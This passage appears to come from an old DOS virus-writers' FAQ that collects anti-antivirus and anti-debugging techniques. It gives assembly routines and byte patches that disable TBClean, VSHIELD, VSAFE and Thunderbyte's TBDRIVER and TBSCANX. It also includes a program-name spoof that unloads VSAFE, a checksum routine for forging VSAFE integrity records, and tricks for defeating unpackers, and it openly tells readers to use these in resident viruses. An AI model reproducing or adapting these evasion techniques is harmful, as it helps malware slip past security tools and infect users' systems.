  882.         call screw4                 
  883.         ret                         
  884. screw4:                                     
  885.         jmp  $ + 2                  
  886.         ret                         
  887.  
  888.  
  889.  ╓═════════════════════════╖
  890.  ║ Anti TBClean routine    ║
  891.  ║ By someone at Crypt ??? ║
  892.  ╚═════════════════════════╝    
  893.  
  894. »»
  895. Here is THE popularest routine to stop TBClean. It is very big in size
  896. and it sucks 'cause TBClean can be stopped with 'CLI and STI'.
  897. »»
  898.  
  899. look_4_tbclean:
  900.     mov     ax, word ptr ds:[si]
  901.     xor     ax, 0A5F3h
  902.     je      check_it                        ; Jump If It's TBClean
  903. look_again:
  904.     inc     si                              ; Continue Search
  905.     loop    look_4_tbclean
  906.     jmp     not_found                       ; TBClean Not Found
  907.  
  908. check_it:
  909.     mov     ax, word ptr ds:[si+4]
  910.     xor     ax, 0006h
  911.     jne     look_again
  912.     mov     ax, word ptr ds:[si+10]
  913.     xor     ax, 020Eh
  914.     jne     look_again
  915.     mov     ax, word ptr ds:[si+12]
  916.     xor     ax, 0C700h
  917.     jne     look_again
  918.     mov     ax, word ptr ds:[si+14]
  919.     xor     ax, 406h
  920.     jne     look_again
  921.  
  922.     mov     bx, word ptr ds:[si+17]         ; Steal REAL Int 1 Offset
  923.     mov     byte ptr ds:[bx+16], 0CFh       ; Replace With IRET
  924.  
  925.     mov     bx, word ptr ds:[si+27]         ; Steal REAL Int 3 Offset
  926.     mov     byte ptr ds:[bx+16], 0CFh       ; Replece With IRET
  927.  
  928.     mov     byte ptr cs:[tb_here][bp], 1    ; Set The TB Flag On
  929.  
  930.     mov     bx, word ptr ds:[si+51h]        ; Get 2nd Segment of
  931.     mov     word ptr cs:[tb_int2][bp], bx   ; Vector Table
  932.  
  933.     mov     bx, word ptr ds:[si-5]          ; Get Offset of 1st Copy
  934.     mov     word ptr cs:[tb_ints][bp], bx   ; of Vector Table
  935.  
  936. not_found:
  937.  
  938.     mov     ax, 0CA00h                      ; Exit It TBSCANX In Mem
  939.     mov     bx, 'TB'
  940.     int     2Fh
  941.  
  942.     cmp     al, 0
  943.     je      tbcleanok
  944.     ret
  945.  
  946. tbcleanok:
  947.  
  948.  
  949.  ╓══════════════════════════════╖
  950.  ║ Patching Memoryresident AVs  ║
  951.  ║ By MnemoniX (C)              ║
  952.  ╚══════════════════════════════╝    
  953.  
  954. »»
  955. This big section was taken from a MnemoniX Anti-AV magazine.
  956. It 'only' describes how to kill AV progs that are resident in mem.
  957. Use it if you make resident viruses.
  958. »»
  959.  
  960. PATCHING VSHIELD
  961.  
  962.     This patch will prevent VSHIELD from detecting any viruses. This
  963. was tested on VSHIELD V106 - an old version - and probably will not work
  964. on every version, but what the hell. There is a portion of the code which
  965. looks like this:
  966.  
  967.     80 FC 0E        cmp     ah,0E
  968.     74 06           je      0A1C
  969.     80 FC 4B        cmp     ah,4B
  970.     74 09           je      0A24
  971.  
  972.     To fix this up, you can :
  973.     
  974.     replace the first byte (80) with CB (a RET)
  975.       
  976.     OR 
  977.  
  978.     replace the second JZ (74 09) with two NOP's (90 90)
  979.  
  980. Either way VSHIELD will no longer scan files as they are executed.
  981.  
  982. How can you get the original host program past VSHIELD, before VSHIELD has
  983. been patched? Just encrypt it or PKLITE it. Simple enough.
  984.  
  985.         ****************************************************
  986.         * VSAFE versions 1 and 2 (Central Point/Microsoft) *
  987.         ****************************************************
  988.  
  989.     While VSAFE 1.0 was conquered a long time ago, not much seems to have
  990. been done to hack VSAFE 2. Making a virus or hacked program VSAFE-resistant
  991. will make it much more viable, since it is a popular AV monitor. The old
  992. tricks that could be played on VSAFE 1 (which was pure crapware) no longer
  993. work like they used to. Here is what I was able to find though a little bit of
  994. investigation ... (BTW, this was tested on MSAV 1.0 and CPAV 2.2. It should
  995. be similar for other versions except where noted.)
  996.     Firstly, as with all versions, one can check for the presence of VSAFE
  997. in memory with the following code:
  998.  
  999.             mov     ax,0FA00h
  1000.             mov     dx,5945h        ("VS")
  1001.             int     16h
  1002.  
  1003.     If DI = 4559h ("SV"), VSAFE is present. Functions 16/FA03 and 16/FA08
  1004. will return constant values whose significance is unbeknownst to me - they
  1005. don't seem to be version numbers.
  1006.     Next, the old trick which deinstalled VSAFE, which was the same as the
  1007. above code except AX = FA01h, won't cut it anymore. Nor will it change the
  1008. VSAFE flags anymore when AX = FA02h. Does this mean that the you can no longer
  1009. make VSAFE turn the other way? Hardly - there are still ways around it.
  1010. (Remember, _no_ program is immune to being duped.) 
  1011.     The two functions to deinstall or change VSAFE options are still there,
  1012. but now there's a twist: It checks to see which program is running before it
  1013. will act. This is a pain to get around, but not impossible. You can find the
  1014. name of the current resident program in the DOS environment, which is found
  1015. by getting the DOS environment segment (at offset 2Ch in the PSP), finding
  1016. the name of the current program (the environment table is at offset 0, then
  1017. two zero bytes signal the end of it, and then there's another two bytes, after
  1018. which the name of the current program is found) and changing it to
  1019. "\VSAFE.EXE".
  1020.     Actually, you don't even need to go to all that trouble. You see,
  1021. VSAFE doesn't actually check the filename; it just makes a checksum of the
  1022. letters in the filename minus extension. I am hesitant to go into the details
  1023. of this now; if you want to see how the checksum works examine it yourself.
  1024. Suffice it to say that if, before the period in the filename, you insert the
  1025. three-byte hex string 5CFF76, VSAFE will think it's being loaded. Do I hear
  1026. cries for an example?
  1027.  
  1028.         mov     ax,ds:[2Ch]             ; get environment segment
  1029.         mov     es,ax
  1030.  
  1031.         xor     di,di                   ; after the table of environ-
  1032.         mov     cx,17D0h                ; ment strings, we will find
  1033.         xor     al,al                   ; the current program name
  1034.  
  1035. find_environ_end:
  1036.         repnz   scasb                   ; scan through environment
  1037.         cmp     byte ptr es:[di],0      ; end of table?
  1038.         jnz     find_environ_end
  1039.  
  1040.         add     di,3                    ; address of program name
  1041.         mov     al,'.'                  ; find extension
  1042.         repnz   scasb                   ; extension found
  1043.  
  1044.         mov     si,es:[di - 3]          ; save orig. program name
  1045.         mov     es:[di - 3],76FFh       ; modify program name
  1046.         mov     bh,es:[di - 4]          ; make VSAFE think it is
  1047.         mov     byte ptr es:[di - 4],5Ch ; calling itself
  1048.  
  1049. ; VSAFE 2 may now be unloaded
  1050.  
  1051.         mov     ax,0FA01h               ; unload VSAFE
  1052.         mov     dx,5945h
  1053.         int     16h
  1054.  
  1055. ; fix up program name again
  1056.  
  1057.         mov     es:[di - 3],si          ; replace orig. program name
  1058.         mov     es:[di - 4],bh
  1059.  
  1060.     Here is a listing of all the VSAFE functions you need to know.
  1061.  
  1062.     (All functions called by INT 16h with DX = 5945h)
  1063.       AX = FA00h - Test for VSAFE resident
  1064.             DI=4559h on return is res.
  1065.       AX = FA01h - Deinstall VSAFE
  1066.       AX = FA02h - Change VSAFE flag settings
  1067.             BL=bits 0-7 represent settings for flags 1-8, resp.
  1068.             on return, CL holds previous flag setting
  1069.       AX = FA05h - Turn popup menu on/off
  1070.             BL=0 (on) or 1 (off)
  1071.  
  1072.     Version 2 checks name of program currently running before executing
  1073.     functions FA01, FA02 or FA05.
  1074.  
  1075.     Deinstalling VSAFE works well if nothing is loaded after it in
  1076. memory. However, this may not be the case, and if other programs are loaded
  1077. VSAFE gives an error message. Hence I don't consider this the best way to
  1078. deactivate the program. A better way would be to patch up VSAFE as described
  1079. below, and upon writing the disk, save the VSAFE flags and switch them all
  1080. off, then restore when done. This should keep it quiet.
  1081.     If you're too lazy to mess around with that, there's an even easier
  1082. way. The flag status byte in VSAFE 2 is located at offset 0F1Dh in the code,
  1083. and you can modify it directly upon finding VSAFE's segment (check INT 16h's
  1084. segment.) This particular method will only work for version 2.2; the address
  1085. is probably different for other versions.
  1086.     Moving on, one will find that the old CHKLIST.CPS files have now been
  1087. replaced by SMARTCHK.CPS files, which have a different format. (The MSAV 
  1088. equivalents of these files are CHKLIST.MS and SMARTCHK.MS, respectively.) Each
  1089. record is 60 bytes long, and consists of the following data:
  1090.  
  1091.         Data                            Offset  Length
  1092.         ----------------------------------------------
  1093.         ASCIIZ filename                 0       13
  1094.         File attributes                 13      1
  1095.         File size                       14      4
  1096.         File time                       18      2
  1097.         File date                       20      2
  1098.         First 32 bytes of file          22      32
  1099.         Checksum data                   54      4
  1100.         Apparently always set to zero.  58      2
  1101.  
  1102.     Now, a VSAFE-smart virus could increase its stealthiness by modifying
  1103. this data, which isn't as much of a pain as it may sound. It could modify the 
  1104. filenames, so VSAFE no longer properly checks the programs. A more ambitious
  1105. programmer could look for the filename, change the first few recorded bytes of
  1106. the file, change the date, and fix the checksum. But how do we calculate the
  1107. checksum, you ask? Good question. The checksum routine in VSAFE 2 is long and
  1108. complicated. (In case you were wondering, the VSAFE 1.0 checksum can be
  1109. calculated like this:
  1110.  
  1111.         DS:SI = offset of first 64 bytes of file
  1112.             (or if file is < 64 bytes long, the entire file)
  1113.         BX = high word of 32-bit checksum
  1114.         DX = low word of 32-bit checksum
  1115.         CX = 64 (for loop) or size of file if < 64 bytes
  1116.         AH = 0 (for addition)
  1117.  
  1118.     vsafe_checksum:
  1119.         lodsb                   ; add first byte
  1120.         add     dx,ax
  1121.         adc     bx,0
  1122.         lodsb                   ; subtract second byte
  1123.         sub     dx,ax
  1124.         sbb     bx,0
  1125.         lodsb                   ; XOR third byte by first checksum
  1126.         xor     dl,al           ; byte only
  1127.         sub     cx,3
  1128.         cmp     cx,2
  1129.         ja      vsafe_checksum
  1130.  
  1131. The finished checksum is in BX:DX.) I haven't figured out the VSAFE 2 checksum
  1132. routine yet - it's much more complicated. But you're welcome to look.
  1133.     The included UNSAFE.ASM program is a virus, and demonstrates the
  1134. manipulation of VSAFE flags and corruption of SMARTCHK.CPS files. As a
  1135. demonstration, try setting the write protect flag on, and then infect a few
  1136. files. VSAFE will not warn you of the write, because the flags are temporarily
  1137. turned off by the virus when it spreads. Examine and learn.
  1138.  
  1139. PATCHING VSAFE
  1140.  
  1141. When VSAFE 2.2 is installed, it installs a routine onto interrupt 21h which
  1142. checks for different DOS calls, as all monitors do. There is a portion of the
  1143. interrupt 21 code which looks like this :
  1144.  
  1145. 80 FC 4B        cmp     ah,4B           ; this catches the DOS execute program
  1146. 74 62           jz      0BAF            ; call so VSAFE can do program checks
  1147. 80 FC 4C        cmp     ah,4C           ; this catches a DOS terminate program
  1148. 74 33           jz      0B85            ; call so VSAFE can check memory
  1149. 80 FC 00        cmp     ah,0            ; another terminate program call check
  1150. 74 15           jz      0B6C
  1151.  
  1152.     If we set the trap flag, set AH to 99h (or any nonexistent function
  1153. call), call interrupt 21 and scan the code with a tracing routine, we will
  1154. eventually find this point. Once we do, it's quite simple to eliminate VSAFE
  1155. checks when a program begins and ends:
  1156.  
  1157. 80 FC 4B        cmp     ah,4B
  1158. 90              nop                     ; the JZ's have been replaced with two
  1159. 90              nop                     ; NOP's each ... VSAFE will no longer
  1160. 80 FC 4C        cmp     ah,4C           ; check programs as they are run,
  1161. 90              nop                     ; or check memory when a program
  1162. 90              nop                     ; terminates, because it won't know
  1163. 80 FC 4C        cmp     ah,0            ; when these things happen anymore.
  1164. 90              nop
  1165. 90              nop
  1166.  
  1167.     (A brief note: A program can also terminate via interrupt 20h, and
  1168. VSAFE _will_ check memory if a program terminates this way. This interrupt
  1169. is more difficult to tunnel - once the DOS segment is reached, the tunneling
  1170. must be stopped - but it is not impossible. A similar patch could be created
  1171. to solve the problem.)
  1172.  
  1173.                    ***************
  1174.                    * Thunderbyte *  
  1175.                    ***************
  1176.  
  1177. TB MONITORS
  1178.  
  1179.     All TB monitors work through TBDRIVER and hook the critical interrupts
  1180. 21h,13h, and 40h. These same monitors can be defeated by recursive tunneling
  1181. if TBDRIVER's ability to detect such tunneling is deactivated, however.
  1182.  
  1183.  
  1184. TBDRIVER'S DETECTION OF RECURSIVE TUNNELING
  1185.  
  1186.     TBDRIVER is resistant to most recursive tunneling. When an interrupt
  1187. 21 is called, TBDRIVER checks the status of the trap flag for a recursive
  1188. tunneling routine and will display a message if it is found to be set. The
  1189. code that does this appears virtually impenetrable, and looks like this:
  1190.  
  1191. (This is from TBDRIVER version 6.14; it may be different now but the idea
  1192.  is basically the same.)
  1193.  
  1194.         cli                     ; clear interrupts to prevent
  1195.         pushf                   ; interference ...
  1196.         cld
  1197.         push    ax              ; what this, in essence, does is
  1198.         push    bx              ; that is saves a value on the stack,
  1199.         xchg    ax,bx           ; pops it, decrements the stack ptr.
  1200.         pop     ax              ; to point to it again, pops it again,
  1201.         dec     sp              ; and if the value changed, an int-
  1202.         dec     sp              ; errupt must have occured. Since the
  1203.         pop     bx              ; interrupt flag is off, the only
  1204.         cmp     ax,bx           ; interrupt this could be is a type 1 -
  1205.         pop     bx              ; the trap flag interrupt routine.
  1206.         jz      02A1            ; If two values popped are different,
  1207.                     ; it warns the user.
  1208.  
  1209. PATCHING TBDRIVER
  1210.  
  1211.     Now, there is no way to fool this routine. You can't hide the change
  1212. to the value on the stack. However, you _can_ scan for this code in your
  1213. tunneling routine, and modify it if it is found. You could look, for example,
  1214. for the following code in the interrupt 21 routine:
  1215.  
  1216. 5C              pop     bx
  1217. 3B C3           cmp     ax,bx
  1218. 5B              pop     bx
  1219. 74 0D           jz      02A1
  1220.  
  1221.     If we find the string 5C 3B C3 5B 74 0D, we know TBDRIVER is present.
  1222. The next step is modifying the code to make it useless.
  1223.     The JZ instruction is the test. If AX and BX are equal, then the Z
  1224. flag is set, and if the Z flag is set, the code is not being traced as far
  1225. as TBDRIVER is concerned. Hence, you want it to act as though the Z flag was
  1226. _always_ set. You could do this by changing the instruction to a JMP:
  1227.  
  1228. EB 0D           jmp     02A1
  1229.  
  1230.     Now you find the original offset of DOS's interrupt 21 with the same
  1231. tunneling routine, and call it directly, bypassing all TB utilities.
  1232.  
  1233. DISABLING TBSCANX
  1234.  
  1235.     Earlier versions of TBSCANX hook INT 2Fh when they load, and install 
  1236. the following functions :
  1237.  
  1238.     AX = CA00h      Test for installation (return FF in AL if res.)
  1239.             BX = 'TB'  ('tb' on return if resident)
  1240.     AX = CA04h      Scan file
  1241.             DS:DX = program to be scanned
  1242.             (carry set means infected, ES:BX=filename)
  1243.  
  1244. With a little work and a good debugger, you can trace the code of other AV
  1245. monitors and find similar code in the interrupt 21h or 13h routines. If you
  1246. know what you're doing, you could create similar patches to the ones above
  1247. for these monitors. The same could be done with non-resident virus scanners,
  1248. although this is a more difficult job, and not really worth it in my opinion
  1249. since most good scanners check themselves and probably won't find any _good_
  1250. new virus anyway.
  1251.  
  1252.                         - MnemoniX
  1253.  
  1254.     ────────────────────────┐
  1255.     │ How to fool unpackers │
  1256.     └────────────────────────
  1257.  
  1258.                   
  1259.  ╓════════════════════════════╖
  1260.  ║   Intruder (pASCAL) 'fool' ║
  1261.  ║   by Christoph Gabler      ║
  1262.  ╚════════════════════════════╝    
  1263.  
  1264. If you want to make your progs written in TP or BP restistent against
  1265. the 'unpacker' Intruder. This ultimative
  1266. groovy and fantastic prog is 'bout unfoolable!!! BUT there is a method
  1267. - of course VERY difficult, try it ONLY if you have a VERY good knowlegde 
  1268. in ASM (?) ! You need to change "!#S456789:;" into whatever you want to 
  1269. (it won't be executed) and this godlike unpacker called Intruder won't find 
  1270. ANYTHING (WOOWIIE! mAN, yOU mUST bE a rEAL hACKER tO dO tHIS!!!!)
  1271.  
  1272. You can fool any startupcode unpacker like TEU,UPC,Intruder by sticking a
  1273. BorlandC or Pascal... file to the original file. Use DumpPrevent for that.
  1274. Use DPrevent two times to fool TEU's -X:?? switch.
  1275.  
  1276. Another way is to replace code which is always added by the compiler so that
  1277. the file still runs and TEU... does not recognize the file anymore.
  1278.  
  1279.                   ────────────────
  1280.                   │ TOP SECRETS! │
  1281.                   ────────────────
  1282.  
  1283. Ehm, 'cause this is the uncomplete version of the INSIDER.FAQ this section
  1284. has been cutten - send a email in order to get a complete version.
  1285.  
  1286.   -> If you have coded your own anti-trace/debug routine please send it to
  1287.      me and it will be added here!
  1288.  
  1289.  
  1290. Thanx go to everyone who send me routines. Especially to ELiCZ for his
  1291. 'OUTSIDER.FAQ' ;) and his nice FILTER's!
  1292.